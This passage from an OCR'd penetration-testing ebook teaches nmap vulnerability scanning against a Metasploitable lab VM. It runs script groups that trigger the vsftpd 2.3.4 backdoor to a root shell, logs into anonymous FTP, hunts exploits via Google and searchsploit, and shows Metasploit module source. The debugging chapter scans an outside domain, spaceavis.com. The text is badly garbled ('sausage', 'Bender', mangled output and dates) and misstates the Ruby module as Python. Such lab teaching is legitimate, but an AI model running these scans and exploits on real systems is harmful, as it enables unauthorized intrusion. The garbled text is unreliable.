This is our first vulnerability that we managed to discover and exploit, we
are now in the administrator page of the Tomcat, there are other things that
we can do right here as well, but for now we are just happy that we managed
to gain access to the administrator page, and as you can see we have user
databases, mail sessions, data sources, and these are all empty because this is
a test machine, but if it was a real machine, this would probably all be filled
with some other useful information. Great. Let's leave this on side for now,
So we managed to gain access to the Tomcat administrator page with the
help of nmap script, Let's see what else we can do with scripts.

So let's go and try out the malware, scan these scripts test whether the target
platform is infected by malware or backdoors, let's see whether our target is
infected with malware.

$nmap --script malware 192.168.0.4 -sS



malware 192.168.0.4

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 14:57 EDT

Nmap scan report for 192.168.0.4
Host is up (0.0013s latency)
Not shown: 977 closed ports
STATE SERVICE
open ftp
ftp-vsftpd-backdoor:
VULNERABLE:
vsFTPd version 2.3.4 backdoor
State: VULNERABLE (Exploitable)

IDs: CVE:CVE-2011-2523 BID:48539

vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.

Disclosure date: 2011-07-03
Exploit results:
Shell command: id

Results: uid=@(root) gid=0(root)

References:

https://ww .securityfocus.com/bid/48539

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523

open ssh

open telnet

open smtp

open domain

open http

open rpcbind
open netbios-ssn
open microsoft-ds
open exec

open login

open shell

open rmiregistry
open ingreslock
open nfs

open ccproxy-ftp
open mysql

open postgresql
open vnc

open X11

open irc

|;ircfunrealircdfbackdoor: Looks like trojaned version of unrealircd.

8009/tcp open ajpl3
8180/tcp open unknown

MAC Address: ©8:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 32.21 seconds

e /home/ncim

See http://seclists.org/fulldisclosure/2010/Jun/277

And it doesn't seem to find any malware right here. So let’s try another one.

We're going to use right now the banner script group and what banners are
simply what the open port will give us is the information once we connect to
it. Banders usually holds information, disclosure and information disclosure,
they can give us the exact version of the software running on an open port



$nmap --script banner 192.168.0.4 -sS

map banner 192.168.0.4
Startlng Nmap 7.91 ( https://nmap.org ) at 2021-07-31 15:01 EDT
Nmap scan report for 192.168.0.4
Host is up (@.00046s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
| _banner: 220 (vsFTPd 2.3.4)
22/tcp open ssh
|*banner: SSH-2.0-0penSSH_4.7p1 Debian-8ubuntul
23/tcp open telnet
25/tcp  open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpchind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
|*banner: \x01Where are you?
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
|*banner: rootgmetasploitable: /#
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
| _banner: RFB 003.003
6000/tcp open X11
6667/tcp open 1irc
banner: :irc.Metasploitable.LAN NOTICE AUTH :#**x Looking up your hostna
me ...
8009/tcp open ajpl3
8180/tcp open unknown

We can see the scan has finished and we get the banne,which is the version
for the FTP, we get the banner for the sausage that also give's the version,
and this is something similar for the version that we covered in nmap, now,
sometimes Bender look something that we cannot read.

Let's check out another scan called exploit, this script group will actually try
to exploit if it finds a similar vulnerability. Let’s see how we can do this.

$nmap --script exploit 192.168.0.4 -sS



nmap exploit 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-87-31 15:31 EDT
Nmap scan report for 192.168.0.4
Host is up (0.00044s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp

ftp-vsftpd-backdoor:

VULNERABLE:

vsFTPd version 2.3.4 backdoor

State: VULNERABLE (Exploitable)

IDs: CVE:CVE-2011-2523 BID:48539
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.

Disclosure date: 2011-@7-03

Exploit results:

Shell command: id
Results: uid=8(root) gid=0(root)

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

N https://ww.securityfocus.com/bid/48539
22 open ssh
23/tcp open telnet
25/tcp open smtp
smtp-vuln-cve2010-4344:
_ The SMTP server is not Exim: NOT VULNERABLE
53/tcp open domain
80/tcp open http
http-csrf:
Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.0.4
Found the following possible CSRF vulnerabilities:

Path: http://192.168.0.4:80/dvwa/
Form id:
Form action: login.php

And it did finish. We can see Port 80, found the following possible seats are
CSRF vulnerabilities, So here are the possible vulnerabilities that it found
for this specific vulnerability, now we're just taking a look at how we can
discover them using vulnerability analysis. For FTP port, it tells us that the
port is vulnerable, it is running on 2.3.4 version and it seems that it managed
to exploit it, as it says, vulnerable and exploitable, and we get the exploit
results, the nmap script ran comment and it actually managed to get the root
acount on the target machine. So we found another vulnerability, and we got
the FTP port that is exploitable. Now, we don't really know how to exploit it
yet, but for now, with the help of scripts and vulnerability analysis, we know
that is exploitable, now, under these IDs, you can see this name, get used to
these type of names, this is how different vulnerabilities are labeled. These



2011 is a year when the vulnerability occurred, but these are just some of the
script groups that we can run. Of course, we're not going to be running all of
them, as you saw there is a lot of them, you can test them out and see what
each and every one of them do.

let us just see how we can run one script, we saw how we can run script
groups, but sometimes you will only want to run a single script, we already
know where we can find them.

$ cd usr/share/nmap/scripts/

There is a lot of options and you can choose anything you want from here.

firewall-bypa

This one seems interesting, firewall bypass.nst is just the extension for the
scripts, and by the way, do not blindly run these scripts, what you can do to
check out what exactly a certain script does you can type:



$ nmap--script-help firewall-bypass.nse

2 /usr/sha
ap fi
Starting Nmap 7.91 ( http

irewalls that use helpers to
such as ftp and sip.

er on both IPv4 and IPve6.

Based on work done by Eric Leblond.
For more information, see:
//home.regit.org/2012/03/playing-with-network-layers-to-bypass-firewalls-filtering-policy/

fusr/share/nmap/scripts

And it will tell us that this particular script detects some vulnerability in that
filter and other firewalls that use Halberstadt Anemically open ports for
protocols such as FTP and SIP, it also tells us how the script works. So the
script works by spoofing a packet from the target server, asking for opening
a related connection to a target port and to run it, in case you want to run it,
you can type:

$nmap --script firewall-bypass.nse 192.168.0.4



e /home/ncim
ap firewall-bypass.nse 192.168.0.4

Startlng Nmap 7.91 ( https://nmap.org ) at 2021-07-31 15:58 EDT
Nmap scan report for 192.168.0.4
Host is up (0.00028s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown
MAC Address: 08:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 16.33 seconds

it seems that we got the exact same output of a normal nmap scan, usually
you will get this output. That means the script didn't work. So since this one
didn't seem to give any output, let's try another one.

$nmap --script ftp-ano.nse 192.168.0.4



.o /home/ncim
nmap ftp-anon.nse 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 16:02 EDT
Nmap scan report for 192.168.0.4
Host is up (0.0013s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
|ﬁftp—anon: Anonymous FTP login allowed (FTP code 230)
22/tcp  open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpil3
8180/tcp open unknown
MAC Address: ©8:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.77 seconds

This port telling us that anonymous FTP login is allowed, and I already told
you that FTP anonymous login means that you can use anonymous username
and a random password to log in to the FTP, let's see whether it will work,
let's just test it out, we are curious, we want to see what does this anonymous
FTP log in mean, to do that we're going to connect to a target using FTP.

So you just type FTP and then the IP address of the target machine.



® /home/ncim
ftp 192.168.0.4
Connected to 192.168.0.4.
220 (vsFTPd 2.3.4)
Name (192.168.0.4:ncim): anonymous
331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.
ftp> |}

Then it asks us for the name lets type anonymous and for the password I just
type 123123, you can type anything you want, and then you can see login
successful remote system type is Unix and now we can use the help
command to see what are our available options inside of this FTP



.2 /home/ncim
ftp 192.168.0.4

Connected to 192.168.0.4.
220 (vsFTPd 2.3.4)
Name (192.168.@.4:ncim): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> help

Commands may be abbreviated. Commands are:

! dir mdelete
$ disconnect mdir

account exit mget
append form mkdir
ascii get mls
bell glob mode
binary hash modtime
bye help mput
case idle newer
cd image nmap
cdup ipany nlist
chmod ipv4 ntrans
close ipv6 open

Cr lcd prompt
delete 1s passive
debug macdef proxy

ftp> |}

qc
sendport
put

pwd
quit
quote
recv
reget
rstatus
rhelp
rename
reset
restart
rmdir
runique
send

site
size
status
struct
system
sunique
tenex
tick
trace
type
user
umask

verbose
7

so we can run these commands right here, it seems that FTP anonymous
login is indeed allowed, for now, we managed to find out about some
potential vulnerabilities such as the Tomcat administrator login, the FTP port
21 also is vulnerable, remember when we ran the Exploit script group, it told
us that it is exploitable, but let's also see what else we can find using other

vulnerability analysis tools.

I want to show you something that you will do every time you perform a

penetration test, I want to show you how to manually search for



vulnerabilities, and this is something that you will do a lot, you will use this
more than any other tool that we covered. So what vulnerability analysis is,
is us simply Googling the vulnerabilities, for example, imagine,
metaexploiteble is our target and we just performed this version scan.

$nmap -sV 192.168.0.4

® /home/ncim
nmag 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 16:20 EDT
Nmap scan report for 192.168.0.4
Host is up (0.0047s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp  open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
open telnet Linux telnetd
open smtp Postfix smtpd
open domain ISC BIND 9.4.2
open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
open rpcbind 2 (RPC #100000)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open exec netkit-rsh rexecd
open login?
open shell Netkit rshd
open java-rmi GNU Classpath grmiregistry
open bindshell Metasploitable root shell
open nfs 2-4 (RPC #100003)
open ftp ProfTPD 1.3.1
open mysql MySQL 5.0.51a-3ubuntu5
open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
open irc UnrealIRCd
open ajpl3 Apache Jserv (Protocol v1.3)

open unknown
MAC Address: 08:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

We got these different ports open and different versions, how do we know if
they are vulnerable without using any tool? Well, what we can do is we can
copy the name of the version that is running on an open port, then go to
Google and just paste that name and add exploit



vsftpd 2.3.4 exploit x

=
0

Al [ Videos [ Images B News i More Tools

About 6,340 results (0.40 seconds)

https:/Aww.rapid7.com » modules » exploit » unix fip ~

VSFTPD v2.3.4 Backdoor Command Execution - Rapid7

Khordad 9, 1397 AP — This module exploits a malicious backdoor that was added to the
VSFTPD download archive. This backdoor was introduced into the

https:/ww.exploit-db.com > exploits +

vsftpd 2.3.4 - Backdoor Command Execution - Exploit Database

Farvardin 23, 1400 AP — vsftpd 2 3.4 - Backdoor Command Execution. CVE-2011-2523 .
remote exploit for Unix platform.

https:/westoahu.hawaii.edu » cyber » forensics-weekly-... ~

Escaping Metasploit — vsFTPd 2.3.4 — UHWO Cyber Security

Farvardin 30, 1398 AP — Using the last exploit listed in Figure 2, select said exploit with
command, use exploit'unix/ftp/vsfipd_234 backdoor. Shown in Figure 3.

https://subscription_packtpub.com » book » vulnerabilit...

Vulnerability analysis of VSFTPD 2.3.4 backdoor | Mastering ...

After modeling threats, let us load the matching module into Metasploit using the use
exploit/unix/fip/vsfipd_234 backdoor command and analyze the .

https://github.com > ahervias77 » vsftpd-2.3.4-exploit +

ahervias’ 7/vsftpd-2.3.4-exploit: Python exploit for the ... - GitHub

Python expleit for the backdoor left in vsftpd 2.3.4 - GitHub - ahervias77/vsftpd-2.3 4-exploit:
Python exploit for the backdoor left in vsftpd 2.3.4.

And here it is, we're already getting some response back, exploit for this
version, which is the exact version that our metasploitable has, vsftpd the
exact version that we have Back-Door command execution, and what you
would do is you would just go to these links and try to find the exploit for it.



VSFTPD v2.3.4 Backdoor Command Execution

Disclosed Created

07/03/2011 05/30/2018

Description

This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor
was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the

most recent information available. This backdoor was removed on July 3rd 2011.

Author(s)

hdm <x@hdm.io>
MC <mc@metasploit.com=

Platform
Unix
Architectures

cmd

Development

Source Code
History

We already see that an exploit already exists, for which platform it is, we can
see the source code if we want to.



O EJ https://github.com/rapid7/metasploit-framework/blob/master//modu P 4_back b
class M xplo:
include Msf:
def initialize(info = {})
super{update_info(info,
*Hame " =»> 'VSFTPD v2.3.4 Backdoor Command Execution',
‘Description’ =» %q{
This module exploits a malicious backdoor that was added to the VSFTPD download

archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between

June 3@th 2@11 and July 1lst 20811 according to the most recent information

available. This backdoor was removed on July 3rd 2611.
i)
*Author’ => [ "hdm', 'MC' 1,
‘License’ => MSF_LICENSE,

'References’
[
[ 'OSVDB', '73573'],
[ "URL', 'http://pastebin.com/AetT9s55'],
[ 'URL', 'http://scarybeastsecurity.blogspot.com/2811/87/alert-vsftpd-download-backdoored.html' 1,

1s
'Privileged’ =» true,
*Platform’ = [ ‘unix’ 1,
*Arch® => ARCH_CMD,
'Payload’ =3

{

'Space’ =» 2000,
‘BadChars' = "',

'DisableMops' => true,

*Compat*
i
*PayloadType’ => 'cmd_interact’,
‘ConnactionType’ =» 'find’
1
'Targets'
[
[ 'Automatic’, { } 1,
1

'DisclosureDate’ => '2@11-87-83',
‘DefaultTarget’ =» @))

register_options([ Opt::RPORT(21) 1)
end

And here it is, the code is Python in this case and this is how you would do
most of your vulnerability analysis, this is how we can exploit the target
using tools. This is the way that you can find out how to exploit the target,
you just go through a bunch of links and see whether someone already came
up with the exploit for that specific version, in this case for vsftpd 2.3.4
version and you would do this for any version that you discover. So let’s try
another one

$nmap -sV 192.168.0.4



e /home/ncim
nmap 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 16:20 EDT
Nmap scan report for 192.168.0.4
Host is up (0.0047s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp  open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7pl1 Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
open domain ISC BIND 9.4.2
open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
open rpcbind 2 (RPC #100000)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open exec netkit-rsh rexecd
open login?
open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntub
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8180/tcp open unknown
MAC Address: 08:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; O0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

So let's copy Apache httpd and copy the version, make sure that you copy
the number as well, which in our case is 2.2.8 then go and paste the name of
that version and add exploit.
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apache hitpd 2.2.8 exploit 5

Security Vulnerability - Security Vulnerability

https://www.info.com/web/results *
Find Security Vulnerability. Examine Now. More Information. Find Relevant Results. Search
and Find. Trusted Source. Quick Answers.

Apache Logs Analyzer - Apache Logs Analyzer

https://de. asksly.com/schnell/einfach -

Apache Logs Analyzer — schnell und einfach bei Asksly gefunden! Einfacher Zugriff. Ganz
einfach finden. Viele Produkte. Schnelle Ergebnisse. Produkte vergleichen. Suchen und
entdecken. Typen: Produkte online, Sofortige Ergebnisse, Groe Auswahl, Zugriff rund um die
unr.

Apache Log File Analyzer - Apache Log File Analyzer

https://de seekweb com/top_10/seekweb »

Apache Log File Analyzer — genau das, wonach Sie gesucht haben! Alle Antworten. Leicht
zugangliche Infos. Kombinierte Quellen. Schnell und vertraut. Entdecken Sie uns jetzt! Einfach
zu verwenden. Typen: Informationen, kombinierte Ergebnisse, schnell und einfach, 99%
Ubereinstimmung.

Security Vulnerability - Find Security Vulnerability

https://www info.com/web/results -
Search Security Vulnerability_ Visit & Lookup Immediate Results Now. Trusted Source. Search
and Find. Find Relevant Resulis. More Information. Quick Answers.

Vulnerability Management - Threat Intelligence

https://www holmsecurity. com/ »

Holm Security is the leader beyond traditional vulnerability management. Providing an all-in-
one platform, covering three layers, with all the tools you need. Local experts. Local support.
Start free trial. Book free demo. Types: Cloud, On-premise, Professional services.

And here we are to get output, if we click on it



CVE Details

The ultimate security vulnerability datasource

Legin Hogister

Apache » Hitp Server : Security Vulnerabilities (CVSS score >=7)

CVSS Scores Greater Than: 0 1 2 3 4 5 6 7 8 3
Sort Results By © CVE Number Descending CVE Numbar Zscending  CVSS Store Descending  Number OF Exploits Dascending
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i = I Apache hitpd 2.2.x before 2.2.33 and 2.4.x befa . use of the ap_get_basic_suth_ow{) by third-party mudules outside of the authentication phase may load to suthentication requirements being
bypassed
49 2013-07-23  2021-06-06 Hons Remate Low Mok required Fartial Partial Partial

mod, n_dbd.c in the mod_session_dbd module in the Apache HT
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August 2011, a different vulnerability than CVE-2007-¢
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module in Apache httpd 2.2
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View BID :
| |(&a] The stream_regbody_cl functron in mod_proxy_htly
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Server before 2.1.3, when a reverse proxy
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We can see all of the vulnerabilities that this version of Apache has, we can
see which score they have and the hard score, the stronger the vulnerability,
we can see the vulnerability ID which, this format is used for vulnerabilities
and you will see it a lot, and we can see all the vulnerabilities that it has.

14 CVE-2005-2700 Bypass 2005-03-06  2021-06-08 - None Remote Low Not required Complete  Complete  Complete

ssl_engine_kernel.c in mod_ss! before 2.8.24, when using "SSLverifyClient optional” in the global virtual host configuration, does not properly enforce "S5LverifyClient require” in a per-location context, which
allows remote attackers to bypass intended access restrictions.

This one, particularly if we are really interested in, because it has this score
10, that means that it is a really strong vulnerability, most likely execution of
code or remote access to the target, and it indeed is it says right here, code
execution, and if you click on it, you can see what this vulnerability does.



Vulnerability Details : CVE-2005-2700

ssl_engine_kernel.c in mod_ssl before 2.8.24, when using "SSLverifyClient optional” in the global virtual host configuration, does not properly enforce "SSLVerifyClient require” in a per-
location context, which allows remote attackers to bypass intended access restrictions.

Publish- Date : 2005-09-06 Last Update Date : 2021-06-06
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- CVSS Scores & Vulnerability Types

CVSS Score [100 ]

Confidentizlity Impact ~ Complete (There is total infor,

n disclosure, resulting in all system files being revealed.)

Integrity Impact Complete (There is 2 total co

m integrity. There is 2 complete loss of system protection, resulting in the entire system being
compromised:)

Availability Impact Complate (There total ehutdown of the affecte The attacke: urce completely unavailable.)
Access Complexity Low (Specialized onditions or extenual o not exist. Very little knowledge or red to exploit. )
Authentication Mot required (Autl on is not reguired to exploit the vulnerability.)

Gained Access Nane

Vulnerability Type(s) Bypass a restriction or similar

CWE ID CWE id is net defined for this vulnerability

= Vendor Statements

Fixed in Apache HTTP server 2.0.55: hitp://httpd.apache.org/security/vulnerabilities_20.htrml
Source; Apache

— Additional Vendor Supplied Data

Vendor Impact CVSS Score CVSS Vectar Report Date Publish Date
Redhat important 2005-08-30 2005-08-30
f : and ; dditional data which czn be sutomatically imperted Into our database, please contact sdmin @ cvedetails.com

- Related OVAL Definitions

Title Definition Id Class Family
CVE-2005-2700 oval:org.opensuse.security:def: 20052700 unix
RHS5A-2005:608: httpd security update (Important) oval:com.redhat.rhsa:def: 20050508 unix
RHSA-2005:608: httpd security update (Important) oval:com.redhat.rhsa:def: 2005608 unix
s5LverifyClient bypass oval:org.apache.httpd: def: 20052700

ssl_engin ernel.c in mod_ssl| before 2.8.24, when u "S5LverifyClient optional” in the global virtual host configura...

org.mitre.oval:def: 10416 unix

fine exactly what should be done to verify 2 vulnerability or a missing patch. Check out the OVAL definitions if you want to learn what you should do

— Products Affected By CVE-2005-2700

# Product Type Vendor Product Version Update Edition Language
1 Application  Apache Http Server 2.0 * = = wersion Details Vulnerabilities
2 Application  Apache Hitp Server 2.0 * * = Version Details Vulnerabilities

You can see confidentiality impact is complete, integrity impact complete,
availability impact complete, there is a total shutdown of the affected
resource, the attacker can render the resource completely unavailable. So this
also seems like some kind of a DOS attack, but we can see that this will
most likely work only for Windows, this doesn't seem as an exploit that
would work on our metasploitable because this is running on Linux, and this
is what you would do most of your time researching for vulnerability’s, this
is how you find them, and then you search for the exploit created by
someone else that you can use to exploit the target.



Another thing that you can do is you can use a tool inside of the Kali-linux
called searchsploit and searchsploit simply takes the input of the version of
software and then it searches through kali linux database, through all of the
exploit that Kali-linux has and try to find an exploit that will work for that
specific version.

$searchsploit --help

s I t
Usage: searchsploit [options] terml [term2] ... [termN]

rchsploit afd windows local
searchsploit -t oracle windows
searchsploit -p 39446
searchsploit linux kernel 3.2 —-exclud ”(EoC)|fdosi"
searchsploit -s Apache Struts 2.0.0
searchsploit linux reverse password
searchsploit -j 55555 | json_pp

For more examples, see the manual: https://wwmv.exploit-db.com/searchsploit

[Term] Perform a case-sensitive search (Default is inSEnsITiVe)
xact [Term] Perform an EXACT & order match on exploit title (Default is an AND match on each term) [Implies "-t"]
e.g. "WordPress 4.1" would not be detect "WordPress Core 4.1")
--strict Perform a strict search, so input values must ist, disabling fuzzy search for version range
e "1.1" would not be detected in "1.0 < 1
-t, —-title [Term] Search JUST the exploit title (Default is title AND the file's path)
lude="term" Remove values from results. By usi "|" to separate, you can chain multiple values
e.g. —exclude="terml|term2|term3

Output
-j, -——json [Term] Show result in JSON format
overflow [Term] Exploit titles are allowed to overflow their columns
--path [EDB-1ID] Show the full path to an exploit (and also copies the path to the clipboard if possible)
erbose Display more information in output
[Term] Show URLs to Exploit-DB.com rather than the local path
Display the EDB-ID value rather than local path
--colour Disable colour highlighting in search results

Non-Searching
[EDB-ID] Mirror (aka copies) an exploit to the current working directory
[EDB-ID] Examine (a ens) the exploit using $PAGER

We have some usage examples, but we don't need to perform these
commands, all we can do is copy the version.

$nmap -sV 192.168.0.4



2® /home/ncim
nmag 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 16:20 EDT
Nmap scan report for 192.168.0.4
Host is up (0.0047s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp  open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd
open smtp Postfix smtpd
open domain ISC BIND 9.4.2
open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
open rpcbind 2 (RPC #100000)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntub
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
open X11 (access denied)
open irc UnrealIRCd
open ajpi3 Apache Jserv (Protocol v1.3)
open unknown
MAC Address: 08:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Let's say we copy that version of software, and what we can do once we
copy that version is type Searchsploit and then paste the version name

$sarchsploit UnrealIRCd

loit UnrealIRCd

tion (Metasploit)
k Overflow

It tell us, there are already some existing exploit for the unreallRCd, we also
get which version are the exploits for, one of them are Back-Door command
execution, the second one is local configuration stack overflow, we also get
the denial of service exploit and on the right side we get the path to those
exploits, first one is under Linux remote and it is named 16922.rb, and that
RB simply stands for Ruby, this is coded in the ruby language, one of them
is for Windows, one of them is for Linux, since we're running the
metasploitable, we would only be interested in the Linux exploits. So let's
try to navigate how we can find this exploit, well, we can copy the name of



the exploit, and use locate command to find where exactly this exploit is
located on our machine

$locate 16922.rb

MM MM

1
1
1
1
1
i |
19
1
1
1
19
1
1
19
i |
1
1
1
1
199
1
1
1
19
1
1
1

t 21095.




We can open the exploit by
$nano 16922.rb

File Actions Edit View Help

16922.1b

As we can see, it tells us that this is a backdoor program, this file is also part
of metaexploit-framework.

Metaexploit-framework is one of the biggest tools in the Kali-linux machine.
Okay, great, we found an exploit for this specific software using
searchsploit, so now we know we got exploit for that version of software that
we have on our metasploitable, so this is usually how you would perform
most of your vulnerability analysis to either use tools like searchexploit or
you manually try to find and exploit on Google to see whether anyone has
exploited it before, and if they have, how did they do that? You would also
use and nmap scripts, but I personally use nmap scripts for vulnerability
analysis.



We have finished everything we could to gather information about our
target. We performed information gathering and port scanning, we know
which ports our target has opened, we also know which software’s are
running on those open ports and what operating system does our target have,
then we performed vulnerability analysis using different tools like nmap, one
reminder that the best vulnerability analysis you can perform is your
Googling, since some tools might failed to find vulnerability, it might not be
in their database, but if you find out a version of software and you Google it,
if that software is vulnerable, it will most likely come up in some page, now
it is time to get our hands dirty, all of these previous steps led to this final
moment hacking the target, take a break if you need, and once you are ready,
you can go to the next section.

Chapter 5




Troubleshooting and Debugging

Let’s take a summary on Troubleshooting and Debugging in Nmap as it
obvious, bugs and problems are always is a part of working with computer
same as all the programs, so literally Nmap is same as others, sometime may
you don’t get the perfect output or the result you want or may you face an
error or in other hand you may don’t get any result at all, so may you ask
with yourself, what should we do? No worries folks, there are always some
ways to fix the bugs and problems and I guess you all agree with that, Aren’t
you?

Notwithstanding, in the following step you are able to see some features and
switches to help you out!

Commands Descriptions
-e Set a connection
-v Print a long output
-d Troubleshooting and
debugging
--reason Print the ports status
--open Print the open ports
--packet-trace Trace the packets
—-iflist Print the host network status

For an example, to activate the debugging mode feature in Nmap we use -d
command as this sample:

$ Nmap -d [1-9] target



qB mEmO= [E Shell No. 1 03:46 PM O A O ac
Shell No.1

File Actions Edit View Help

rootdatlas:~# nmap -d spaceavis.com
Starting Nmap 7.80 ( https://nmap.org )
at 2021-08-05 15:45 EDT

PORTS: Using top 1000 ports found open
(TCP:1000, UDP:0, SCTP:0)
———  Timing report

hostgroups: min 1, max 100000

rtt-timeouts: init 1000, min 100, max

10000

max-scan-delay: TCP 1000, UDP 1000, S
CTP 1000

parallelism: min @, max 0

max-retries: 10, host-timeout: 0

min-rate: 0, max-rate: 0

Initiating Ping Scan at 15:45

Scanning spaceavis.com (78.46.76.77) [4
ports]

Packet capture filter (device ethl): ds
t host 192.168.2.46 and (icmp or icmp6

or ((tcp or udp or sctp) and (src host
78.46.76.77)))

The output will be providing the more details for debugging that can be used
for troubleshooting.

The output for the -d Switch is going to do the trick for you, you are able to
mark an area for that to increase to decrease the result. For example -d1 is
provide the lowest output and -d9 is provide the highest output to us.

Port Status



If you want to Nmap shows you the reason of open or close ports or the filter
ports, you should use --reason, by using this command Nmap will shows us
an external chart for the port status

$ Nmap --reason [your target]

e ctions ar view elp

rootdatlas:~# nmap --reason spaceavis.com
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-05 15:56 EDT
Nmap scan report for spaceavis.com (78.46.76.77)
Host is up, received echo-reply ttl 51 (0.11s latency).
rDNS record for 78.46.76.77: main.serverplus.pro
Not shown: 987 filtered ports
Reason: 987 no-responses
PORT STATE SERVICE REASON
20/tcp closed ftp-data reset ttl 51

closed ftp reset ttl 51

closed ssh reset ttl 51

open domain syn-ack ttl

open http syn-ack ttl

open  pop3 syn-ack ttl

open imap syn-ack ttl

open https syn-ack ttl

open smtps syn-ack ttl

open submission syn-ack ttl

open imaps syn-ack ttl

open  pop3s syn-ack ttl

closed https-alt reset ttl 51

Nmap done: 1 IP address (1 host up) scanned in 6.35 seconds
